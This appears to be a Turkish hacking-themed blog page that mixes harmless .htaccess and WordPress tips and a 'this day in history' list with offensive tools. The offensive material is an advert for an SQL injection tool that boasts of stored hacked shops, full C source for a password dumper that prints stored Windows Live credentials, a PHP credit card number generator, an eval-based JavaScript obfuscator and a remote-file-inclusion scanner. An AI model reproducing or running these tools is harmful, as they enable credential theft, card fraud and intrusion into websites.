Klasör Erişimini Engellemek

29 Kasım 2008

Apache sunucusu üzerindeki sitelerimizde .htaccess dosyasında yapacağımız ufak değişiklik ile klasörlerimizi gizli tutup erişimi engelleyeceğiz.

Eğer tüm dosyalarımıza erişimi engellemek için oluşturduğmuz .htaccess dosyasına;

~~~~~~~~~~~~~~~~~~~~

  1. #deny all access
  2. deny from all

~~~~~~~~~~~~~~~~~~~~

bu kodu yazdığınız takdirde klasörlere erişim engellenecektir.

Aynı şekilde bu işlemi belirli bir ip veya ip aralığı için yapmak isterseniz;

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

  1. #deny all access
  2. deny from all
  3. allow from 85.101.22.45 # sadece tek ip adresi
  4. allow from 85.101.22.12/80 # arası ip adresi

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Ayrıca tek klasör içni yapmak isterseniz;

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

  1. Order allow,deny
  2. Deny from all

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Şeklinde yapabilirsiniz.

Programlama Dilinizin Uzantısını Gizlemek

Yaz çiz karala...

Tüm dosyalarınızın uzantısını .htaccess dosyasına bir komut ekleyerek değiştirebilir ve kullandığınız programlama dilini gizleyebilirsiniz.Bu sayede ziyaretçilerinize güzel bir sürpriz hazırlamış olursunuz.Bu her zaman dikkat çekici ve güvenlik açısındanda yararlı bir işlemdir.Aşağıdaki örnek ile bunu pekiştirip kendi sitelerinize uyarlayabilirsiniz.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

  1. # Make PHP code look like unknown types
  2. AddType application/x-httpd-php .web

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


Bu .htaccess komutu ile dosyalarımızın uzantısını .php ‘den .web ‘e çevirdik.

WordPress Blogunuzun Link Uzantısını Değiştirmek

Yaz çiz karala....


Blogunuzu kurduktan sonra üzerinde basit ayarlamalarla optimizasyonunuzu dahada güçlendirebilirsiniz.Bunun için ilk olarak yapmanız gereken yazdığınız yazılarınızın link uzantısını arama motoruyla uyumlu hale getirmek.Yada size göre en uygunu hangisiyse ona göre ayarlamak.

En baştan bunu yaparken kullanacağınız kodları sırasıyla vermek istiyorum.Bunlar;

  1. %postname% -> Konu ismi

  2. %post_id% -> Post Numarası

  3. %category% -> Kategori

  4. %author% -> Yazar

  5. %year% -> Yıl

  6. %monthnum% -> Ay

  7. %day% -> Gün

Yönetim panelinizden Tercihler -> Kalıcı Bağlantılar kısmına geldiğinizde aşağıda link seçenekleri çıkar.Orada hazır şablonlarda bulunmakta ama bizim kendi yapacağımız bir link olacağı için Özel seçeneğini seçeceğiz.

Seçtiğimiz özel alana buradan istediğiniz gibi kodu girebilirsiniz.

Örnek;

  1. /%category%/%postname%/

Şu şekilde oluşacaktır:

http://www.siteadi.com/saglik/abur-cubur-yemek-sagliga-zararli/

Bunu kendi istediğiniz gibi düzeltebilirsiniz.

Bunu yaptıktan sonra aşağıda bir kod oluşacaktır.Bu kodu eğer .htaccess dosyası yazılabilir değilse dosyaya yazmanız gereklidir.

php de şifreli sayfa [Sanal Klavyesi de mevcuttur]

< ?
$sql
= "select username,password from $tablo_adi where id=1";
$sql_query = mysql_query($sql);
$sql_data = mysql_fetch_object($sql_query);

$username=$sql_data->username; $password=$sql_data->password;

$LOGIN_INFORMATION=array($username => $password);
define('USE_USERNAME', false);
if(isset(
$_GET['logout'])) { setcookie("verify", ''); header("Location: index.php"); }
if(!
function_exists('showLoginPasswordProtect')) {
function
showLoginPasswordProtect($error_msg) {
echo
'


'.$error_msg.'

';
if (
USE_USERNAME)
?>






Kullanıcı Adı :
Şifre :



Şifrenizi Sanal Klavye ile Yazınız










die();
}
}
if (isset(
$_POST['access_password'])) {
$login=isset($_POST['access_login']) ? $_POST['access_login'] : '';
$pass=$_POST['access_password'];
if (!
USE_USERNAME && !in_array($pass, $LOGIN_INFORMATION) || (USE_USERNAME && ( !array_key_exists($login, $LOGIN_INFORMATION) ||
$LOGIN_INFORMATION[$login] != $pass ))){
showLoginPasswordProtect("Kullanıcı adı veya parola yanlış. Lütfen yeniden deneyiniz.");
} else {
setcookie("verify", md5($pass));
}
} else {
if (!isset(
$_COOKIE['verify'])) { showLoginPasswordProtect(""); }
$found=false;
foreach(
$LOGIN_INFORMATION as $kay=>$val) {
if (
$_COOKIE['verify'] == md5($val)) {
$found=true;
break;
}
}
if (!
$found) {showLoginPasswordProtect("");}
}
?>
// Hatasız çalışması için tagının üzerinden include ediniz...

// Kod alıntıdır ve üzerine ekleme yapılmıştır...

Alıntı : http://www.pehepe.org

tr0yan0.blogspot.com

http://www.pehepe.org/kaynak-101.html

29 Kasım

1929. Amerikalı amiral Richard Byrd Güney Kutbu üzerinde uçan ilk insan oldu.

1934. Eski adların değiştirilmesi devam ediyor. Atatürk, Matbuat Cemiyeti'nin adını Basın Kurumu olarak değiştirildi.

1935. Paşabahçe Şişe ve Cam Fabrikası hizmete açıldı.

1937. Hatay'da özerk yönetim ilan edildi. Türklerin kutlama töreni yapması engellendi.

1938. Dr. Lütfi Kırdar İstanbul vali ve belediye başkanlığına atandı.

1944. Arnavutluk Halk Cumhuriyeti kuruldu.

1945. Yugoslavya federal cumhuriyet kuruldu.

1947. Birleşmiş Milletler Örgütü Araplar'ın şiddetli muhalefetine karşın Filistin'in bölünmesini ve bağımsız bir İsrail devleti kurulmasını kararlaştırdı.

Aynı gün Cyrano de Bergerac İstanbul Şehir Tiyatrosu'nda ilk kez sahnelendi.

1950. Gazetecilik Enstitüsü açıldı.

1960. Yassıada yargılamaları sürüyor. "Radyo Davası" başladı. Eski Demokrat Partililer devlet radyosunu parti yayın organı haline getirmekle suçlanıyor.

1964. Adalet Partisi 2. Büyük Kongresi yapıldı. Genel başkanlığa Süleyman Demirel seçildi.

1971. Türkiye Halk Kurtuluş Partisi ve Cephesi, THKP-C liderlerinden Mahir Çayan, Ziya Yılmaz ve Ulaş Bardakçı ile Türkiye Halk Kurtuluş Ordusu (THKO) liderlerinden Cihan Alptekin ve Ömer Ayna İstanbul Kartal- Maltepe Askeri Cezaevi'nden kaçtılar.

1972. Şair Can Yücel, Jean Paul Sartre'ın "Küba'da Sosyalizm ve İnsan" kitabını çevirdiği için verilen 7,5 yıl hapis cezasını çekmek için cezaevine girdi.

1974. Pakistan'da deprem; 4700 kişi öldü.

1975. Uluslararası Para Fonu, IMF Türkiye'den yabancı bankalara kolaylık sağlamasını istedi.

1977. Halkın Tapınağı tarikatı üyesi 913 kişi Guyana ormanlarında hep birlikte intihar ettiler.

1987. Erken genel seçimlerinde Anavatan Partisi (ANAP) 292 milletvekiliyle ikinci kez tek başına iktidar oldu. Sosyaldemokrat Halkçı Parti (SHP) 99 milletvekili, Doğru Yol Partisi (DYP) 59 milletvekili çıkardı. Demokratik Sol Parti (DSP), Milliyetçi Çalışma Partisi (MÇP), Refah Partisi (RP), Islahatçı Demokrasi Partisi (IDP) yüzde10'luk barajı aşamadı. Bülent Ecevit, Alparslan Türkeş, Necmettin Erbakan parlamento dışında kaldılar.

1990. Anayasa Mahkemesi, Medeni Yasa'nın159. maddesini eşitlik ilkesine aykırılıktan iptal etti.159. madde kadının çalışmasını koca iznine bağlıyordu.

1993. İstanbul Park Otel'in fazla katlarının yıkımına başlandı. Semt sakinleri ve meslek odalarının hukuk mücadelesi 9 yıl sürmüştü.

1996. Uluslararası Savaş Suçluları Mahkemesi'nde,1200 Boşnak'ın öldürülmesine karışan Hırvat asker10 yıl hapis cezasına mahkûm oldu.



Bugün Doğanlar:

1787. İtalyan besteci Gaetano Donizetti.

1932. Fransa cumhurbaşkanı Jacques Chirac.


Bugün Ölenler:

1846.Türk Musiki üstatlarından Hamamîzade İsmail Dede Efendi.

1924. İtalyan besteci Giacomo Puccini.

1932. Batıcılık akımının önde gelen isimlerinden Dr. Abdullah Cevdet.

1980. Cumhuriyet Halk Partisi eski genel sekreteri Orhan Eyüboğlu.

1985.Yassıada duruşmalarının başsavcısı Altay Ömer Egesel.

SQL Exploiter Pro v2.15



The Attacker:

The attcker gets the tables, columns and their data from CFM, ASP and PHP sites.





The Database:

The database saves all hacked sites and you can easily access the hacked sites whenever you need them. Hidden some of the website in the picture. Cann't give real shops for free, hahahahahhaaaaa.... :lol:





The Syntax Error Hack:

The Syntax error is the most difficult and time consuming type of hack. it is very easy with SQL Exploiter Pro v2.15.





The MYSQL and PHP Hack:

SQL Exploiter Pro v2.15 is great with MYSQL and PHP hacking. Can get tables and columns of MySQL version 5.







download : sql exploiter pro 2.15

download : sql exploiter pro 2.30


MSN Password Dumper

/***************************************************************************

* MSN Live Explorer v1.0 *

* *

* Copyright (C) 2007 by evilsocket *

* *

* http://www.evilsocket.net/ *

* *

* thanks to : *

* *

* Indeed to Microsoft for it's crappy security systems ! U.U *

* Master_18 for beta testing ;) *

* Massimiliano Montoro for Cain&Abel, it was fun reversing it ! :P *

* *

* This program is free software; you can redistribute it and/or modify *

* it under the terms of the GNU General Public License as published by *

* the Free Software Foundation; either version 2 of the License, or *

* (at your option) any later version. *

* *

* This program is distributed in the hope that it will be useful, *

* but WITHOUT ANY WARRANTY; without even the implied warranty of *

* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the *

* GNU General Public License for more details. *

* *

* You should have received a copy of the GNU General Public License *

* along with this program; if not, write to the *

* Free Software Foundation, Inc., *

* 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. *

* *

***************************************************************************/



include

include



typedef unsigned int uint_t;

typedef unsigned char byte_t;



/* Win32 CREDENTIAL_ATTRIBUTE (wincred.h) */

typedef struct{

char * Keyword;

uint_t Flags;

uint_t ValueSize;

byte_t * Value;

}

cred_attribute_t;



/* Win32 CREDENTIAL (wincred.h) */

typedef struct{

uint_t Flags;

uint_t Type;

char * TargetName;

char * Comment;

FILETIME LastWritten;

uint_t CredentialBlobSize;

byte_t * CredentialBlob;

uint_t Persist;

uint_t AttributeCount;

cred_attribute_t * Attributes;

char * TargetAlias;

char * UserName;

}

credential_t;



/* Tipi puntatori alle funzioni CredEnumerateA e CredFree di advapi32.dll */

typedef bool (WINAPI * credenumerate_t )(const char *, uint_t, uint_t *, credential_t ***);

typedef void (WINAPI * credfree_t )(void *);



/* Piccolo handler degli errori, nn mi andava di riscrivere 200 volte FreeLibrary XD */

int free_and_die( HMODULE hMod, const char *msg )

{

printf( "%s", msg );

if(hMod){

FreeLibrary(hMod);

}

return -1;

}



int main(int argc, char *argv[])

{

HMODULE h_dll = NULL;

credenumerate_t p_credenumerate = NULL;

credfree_t p_credfree = NULL;



credential_t ** v_cred = NULL;



uint_t cred_count = 0, i = 0;





printf( "\n*---------------------------------------------------*\n" );

printf( "*-- MSN Live Explorer v1.0 --*\n" );

printf( "*-- Copyright (C) 2007 by evilsocket --*\n" );

printf( "*-- http://www.evilsocket.net --*\n" );

printf( "*---------------------------------------------------*\n\n" );



/* Carico un istanza a advapi32.dll */

if( !(h_dll = LoadLibrary("advapi32.dll")) ){

return free_and_die( 0, "@ Error loading advapi32.dll !\n" );

}



/* Estraggo i puntatori a CredEnumerateA e CredFree */

p_credenumerate = (credenumerate_t)GetProcAddress( h_dll, "CredEnumerateA" );

p_credfree = (credfree_t)GetProcAddress( h_dll, "CredFree" );



if( !p_credenumerate || !p_credfree ){

return free_and_die( h_dll, "@ Error loading CredEnumerateA or CredFree from advapi32.dll !\n" );

}



/* Enumero le credenziali impostando il filtro a 'WindowsLive:name=*' */

if( !p_credenumerate( "WindowsLive:name=*", 0, &cred_count, &v_cred ) ){

return free_and_die( h_dll, "@ Error during credentials enumeration !\n" );

}



/* Looppo per tutte le credenziali trovate e ne stampo il contenuto che mi interessa (ma va?) */

printf( "@ Found %d credential(s) :\n\n", cred_count );



for( i = 0; i < cred_count; i++ ){

printf( "\tUsername : %s\n", v_cred[i]->UserName );

printf( "\tPassword : %ws\n", v_cred[i]->CredentialBlob );

}



/* Libero il vettore delle credenziali */

p_credfree(v_cred);



/* Libero l'istanza a advapi32.dll */

FreeLibrary(h_dll);



return 0;

}


http://tr0yan0.blogspot.com

Creditcard Number Generator

1.
2.
/***************************************************************************
3.
* Copyleft (C) 2007 by evilsocket *
4.
* *
5.
* *
6.
* http://www.evilsocket.net/ *
7.
* *
8.
* This program is free software; you can redistribute it and/or modify *
9.
* it under the terms of the GNU General Public License as published by *
10.
* the Free Software Foundation; either version 2 of the License, or *
11.
* (at your option) any later version. *
12.
* *
13.
* This program is distributed in the hope that it will be useful, *
14.
* but WITHOUT ANY WARRANTY; without even the implied warranty of *
15.
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the *
16.
* GNU General Public License for more details. *
17.
* *
18.
* You should have received a copy of the GNU General Public License *
19.
* along with this program; if not, write to the *
20.
* Free Software Foundation, Inc., *
21.
* 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. *
22.
***************************************************************************/
23.

24.
$VISA = array( "Visa", 16, array( "4539", "4556", "4916", "4532", "4929", "40240071", "4485", "4716", "4" ) );
25.
$MASTERCARD = array( "Mastercard", 16, array( "51", "52", "53", "54", "55" ) );
26.
$AM_EXPRESS = array( "American Express", 15, array( "34", "37" ) );
27.
$DISCOVER = array( "Discover", 16, array( "6011" ) );
28.
$DINERS = array( "Diners Club", 14, array( "300", "301", "302", "303", "36", "38" ) );
29.
$ENROUTE = array( "EnRoute", 15, array( "2014", "2149" ) );
30.
$JCB = array( "JCB", 16, array( "3088", "3096", "3112", "3158", "3337", "3528" ) );
31.
$VOYAGER = array( "Voyager", 15, array( "8699" ) );
32.

33.
$CARDS = array( $VISA, $MASTERCARD, $AM_EXPRESS, $DISCOVER, $DINERS, $ENROUTE, $JCB, $VOYAGER );
34.

35.
function cc_generate( $type, $number ){
36.
global $CARDS;
37.

38.
$card = $CARDS[ $type ];
39.
$name = $card[0];
40.
$length = $card[1];
41.

42.
print "$name:\n";
43.

44.
for( $i = 0; $i < $number; $i++ ){
45.
$prefix = $card[2][ array_rand($card[2]) ];
46.

47.
while ( strlen($prefix) < ($length - 1) ) {
48.
$prefix .= rand(0,9);
49.
}
50.

51.
$sum = $j = 0;
52.
$rev = strrev($prefix);
53.

54.
while ( $j < $length - 1 ){
55.
$odd = $rev[$j] * 2;
56.
$odd = ($odd > 9 ? $odd - 9 : $odd );
57.
$sum += $odd;
58.

59.
if( $j != ($length - 2) ){
60.
$sum += $rev[ $j + 1 ];
61.
}
62.
$j += 2;
63.
}
64.

65.
$prefix .= (( floor($sum/10) + 1) * 10 - $sum) % 10;
66.

67.
echo "\t$prefix\n";
68.
}
69.
}
70.

71.
function banner(){
72.
print "***********************************************\n" .
73.
"* Credit Card Generator *\n" .
74.
"* by evilsocket [http://www.evilsocket.net] *\n" .
75.
"***********************************************\n\n";
76.
}
77.

78.
function usage(){
79.
global $CARDS;
80.
print "Usage : php ccgen.php \n";
81.
print "\t\tAllowed types are :\n\n";
82.
for( $i = 0; $i < count($CARDS); $i++ ){
83.
print "\t\t\t[$i] " . $CARDS[$i][0] . "\n";
84.
}
85.
print "\n";
86.
}
87.

88.
banner();
89.

90.
$type = $argv[1];
91.
$num = $argv[2];
92.

93.
if( $argc < 2 || $type < 0 || $type > count($CARDS) - 1 ){
94.
usage();
95.
}
96.
else{
97.
cc_generate( $type, $num );
98.
}
99.

100.
?>


http://www.evilsocket.net/?action=nopaste&do=view&key=6280584

Javascript Evil Encoder

< ?php
#
/*
#
Javascript Evil Encoder
#
by evilsocket
#

#
http://www.evilsocket.net
#
evilsocket@gmail.com
#
*/
#

#
function banner(){
#
print "*-------------------------------------------------------*\n";
#
print "* Javascript Evil Encoder *\n";
#
print "* by evilsocket *\n";
#
print "* http://www.evilsocket.net *\n";
#
print "* evilsocket@gmail.com *\n";
#
print "*-------------------------------------------------------*\n\n";
#
}
#

#
function help(){
#
print "Usage :\n";
#
print "\tphp jsencode.php \n";
#
print "Example :\n";
#
print "\tphp jsencode.php page.html encoded_page.html\n\n";
#
}
#

#
function rand_char(){
#
$pattern = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM";
#
return $pattern[rand(0,strlen($pattern) - 1)];
#
}
#

#
// file_put_contents for PHP <= 4
#
if( function_exists('file_put_contents') == false ){
#
function file_put_contents($n, $d, $flag = false) {
#
$f = @fopen($n, 'w');
#
if ($f === false) {
#
return 0;
#
} else {
#
if (is_array($d)) $d = implode($d);
#
$bytes_written = fwrite($f, $d);
#
fclose($f);
#
return $bytes_written;
#
}
#
}
#
}
#

#
function get_jscript( $html ){
#
preg_match_all( "/\(.*)\<\/script\>/i", $html, $matches );
#

#
return $matches[1][0];
#
}
#

#
function encode_jscript( $js ){
#
$len = strlen($js);
#
$buffer = "";
#
$vars = array();
#

#
for( $i = 0; $i < $len; $i++ ){
#
$var = rand_char()."$i";
#
$vars[] = $var;
#

#
$buffer .= "var $var=\"" . ($js[$i] == "\"" ? "\\\"" : $js[$i]) . "\";";
#
}
#

#
$buffer .= "eval(";
#
for( $i = 0; $i < $len; $i++ ){
#
$buffer .= $vars[$i] . ($i < ($len - 1) ? "+" : "");
#
}
#
$buffer .= ");";
#

#
return $buffer;
#
}
#

#
function encode_file( $src, $dst ){
#
$html = file_get_contents($src);
#
$html = str_replace( "\n", "", $html );
#
$html = str_replace( "\r", "", $html );
#

#
$js = get_jscript( $html );
#
$ejs = encode_jscript( $js );
#

#
file_put_contents( $dst, str_replace( $js, $ejs, $html ) );
#
}
#

#
banner();
#

#
if( $argc < 3 ){
#
help();
#
}
#
else{
#
encode_file( $argv[1], $argv[2] );
#
}
#

#

?>




http://www.evilsocket.net/?action=nopaste&do=view&key=1157198

CPlot - C++ function plotter

1.
/**
2.
* CPlot
3.
* Simple function plotter in C++ that allows you to plot a one-variable function on a 2D graph
4.
* simply by passing its equation (in x variable) via argv. It was written using
5.
*
6.
* --> CImg library - For image manipulation
7.
* http://cimg.sourceforge.net
8.
* --> ExprParser library - For math expressions parsing and solving
9.
* http://blacklight.gotdns.org/cgi-bin/nopaste.pl?mode=view&id=1219044900
10.
*
11.
* To compile it after installing these two libraries:
12.
* g++ -o cplot cplot.cpp -lm -lpthread -lX11 -lexprparser
13.
*
14.
* To use it:
15.
* ./cplot "function_to_plot"
16.
*
17.
* Example:
18.
* ./cplot "e^(0.1*x)"
19.
*
20.
* copyleft 2008 by BlackLight
21.
* Released under GNU GPL licence v.3
22.
*/
23.

24.
#include
25.
#include
26.
#include
27.
#include
28.

29.
using namespace std;
30.
using namespace cimg_library;
31.

32.
#define W 400
33.
#define H 400
34.

35.
typedef unsigned char u8;
36.

37.
int main (int argc, char **argv) {
38.
if (!argv[1]) return 1;
39.

40.
CImg img(W,H);
41.
img.fill(0);
42.
u8 white[] = { 255,255,255 };
43.

44.
img.draw_line (W/2,0,W/2,H,white);
45.
img.draw_line (0,H/2,W,H/2,white);
46.
map m;
47.

48.
for (int x=0; x 49.
try {
50.
vector v;
51.
v.push_back((float) x-(W/2));
52.
ExprParser e(argv[1],v);
53.
int y = (H/2) - (int) e.solve();
54.
//img.draw_point(x,y,white);
55.
m.insert(make_pair(x,y));
56.
}
57.

58.
catch (MathException e) {}
59.
}
60.

61.
for (int i=-W/2; i<(W)-1; i++)
62.
img.draw_line (i, m[i], i+1, m[i+1], white);
63.

64.
img.display();
65.
}




http://www.evilsocket.net/?action=nopaste&do=view&key=8497596

RFİ Scanner

< ?php
/***************************************************************************
* PHP Evil RFI Scanner v1.2 *
* *
* Copyright (C) 2007 by evilsocket *
* *
* http://www.evilsocket.net *
* *
* This program is free software; you can redistribute it and/or modify *
* it under the terms of the GNU General Public License as published by *
* the Free Software Foundation; either version 2 of the License, or *
* (at your option) any later version. *
* *
* This program is distributed in the hope that it will be useful, *
* but WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the *
* GNU General Public License for more details. *
* *
* You should have received a copy of the GNU General Public License *
* along with this program; if not, write to the *
* Free Software Foundation, Inc., *
* 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. *
* *
***************************************************************************/

/* regex per individuare le inclusioni */
$escan_inc_regex = array( '/include(_once)?.\$/ix', '/require(_once)?.\$/ix' )
;
/* regex per estrarre il nome delle variabili */
$escan_var_regex = array( '/\Ainclude(_once)?./is', '/\Arequire(_once)?./is' )
;
/* array di estensioni dei file da scansionare */
$escan_valid_ext = array( 'php' );
/* massima grandezza di un file da scansionare, se 0 scansiona tutti */
$escan_max_size = 0;
/* contatore delle directory scansionate */
$escan_dir_count = 0;
/* contatore dei file scansionati */
$escan_file_count = 0;
/* contatore dei potenziali rfi trovati */
$escan_match_count = 0;
/* contatore dei bytes totali scansionati */
$escan_byte_count = 0;

escan_banner();


if( $argc < 2 ){
escan_usage($argv[0]);
}
else{

$stime = escan_get_mtime();

escan_recurse_dir( realpath($argv[1]).DIRECTORY_SEPARATOR );

$etime = escan_get_mtime();

print "\n@ Scan report : \n\n" .
"\t$escan_dir_count directory .\n".
"\t$escan_file_count file .\n".
"\t" . escan_format_size($escan_byte_count) . " .\n".
"\t$escan_match_count potenziali RFI .\n".
"\t".($etime-$stime) . " secondi di elaborazione .\n\n";
}

/* formatta in una stringa una grandezza espressa in bytes */
function escan_format_size($bytes)
{
if( $bytes < 1024 ) return "$bytes bytes";
if( $bytes < 1048576 ) return ($bytes / 1024) . " Kb";
if( $bytes < 1073741824 ) return ($bytes / 1048576) . " Mb";

return ($bytes / 1073741824) . " Gb";
}

/* restituisce il timestamp espresso in secondi */
function escan_get_mtime()
{
list($usec, $sec) = explode(" ",microtime());
return ((float)$usec + (float)$sec);
}

/* estrae la linea di codice dell inclusione */
function escan_scan_line($content,$offset)
{
list( $line, $dummy ) = explode( ";" , substr($content,$offset,strlen($c
ontent)) );

return $line.";";
}

/* estrae il nome della variabile dalla riga di codice dell inclusione */
function escan_parse_var( $line, $regex_id )
{
global $escan_var_regex;

$vars = preg_split($escan_var_regex[$regex_id],$line);
$varname = $vars[1];
$delimiters = " .);";

for( $i = 0; $i < strlen($varname); $i++ ){
for( $j = 0; $j < strlen($delimiters); $j++ ){
if($varname[$i] == $delimiters[$j]){
return substr( $varname, 0, $i );
}
}
}

return $varname;
}

/* controlla se la variabile $var viene definita in $content prima della posizio
ne $offset */
function escan_check_definitions($content,$offset,$var)
{
if( strpos( $var, "->" ) ){
return 1;
}

$chunk = substr($content,0,$offset);
$regex = "/".preg_quote($var,"/")."\s*=/ix";
preg_match( $regex, $chunk,$matches );

return count($matches);
}

/* parserizza il file $file per controllare la presenza di potenziali rfi */
function escan_parse_file($file)
{
global $escan_inc_regex;
global $escan_max_size;
global $escan_file_count;
global $escan_match_count;
global $escan_byte_count;

$fsize = filesize($file);

if( $escan_max_size && $fsize > $escan_max_size ) return;

$escan_file_count++;
$escan_byte_count += $fsize;

$content = @file_get_contents($file);

for( $i = 0; $i < count($escan_inc_regex); $i++ ){
if( preg_match_all( $escan_inc_regex[$i], $content, $matches, PR
EG_OFFSET_CAPTURE ) ){

$nmatch = count($matches[0]);

for( $j = 0; $j < $nmatch; $j++ ){
$offset = $matches[0][$j][1];
$line = escan_scan_line($content,$offset);
$var = escan_parse_var($line,$i);

if( escan_check_definitions($content,$offset,$var) == 0 )
{
$escan_match_count++;
print "@ $file - \n\t- '$var' alla posizione $offset .\n"{ ;
}
}
}
}
}
}

/* restituisce l'estensione del file $fname */
function escan_get_file_ext($fname)
{
if( strchr($fname,'.') ){
return substr($fname,strrpos($fname,'.')+1);
}
else{
return "";
}
}

/* controlla se il file $fname è di un estensione valida */
function escan_isvalid_ext($fname)
{
global $escan_valid_ext;

for( $i = 0; $i < count($escan_valid_ext); $i++ ){
if(strstr(escan_get_file_ext($fname),$escan_valid_ext[$i])){
return true;
}
}

return false;
}

/* funzione che scansiona ricorsivamente le directory */
function escan_recurse_dir($dir)
{
global $escan_dir_count;

$escan_dir_count++;

if( $cdir = @dir($dir) ){
while( $entry = $cdir->read() ){
if( $entry != '.' && $entry != '..' ){
if( is_dir($dir.$entry) ){
escan_recurse_dir($dir.$entry.DIRECTORY_SEPARATOR);
}
else{
if( escan_isvalid_ext($dir.$entry) ){
escan_parse_file($dir.$entry);
}
}
}
}

$cdir->close();
}
}

function escan_banner()
{
print "*-----------------------------------------------*\n" .
"* PHP Evil RFI Scanner v1.2 by evilsocket *\n" .
"* *\n" .
"* http://www.evilsocket.net *\n" .
"*-----------------------------------------------*\n\n";
}

function escan_usage($pname)
{
print "Uso : php $pname

\n";
}
?>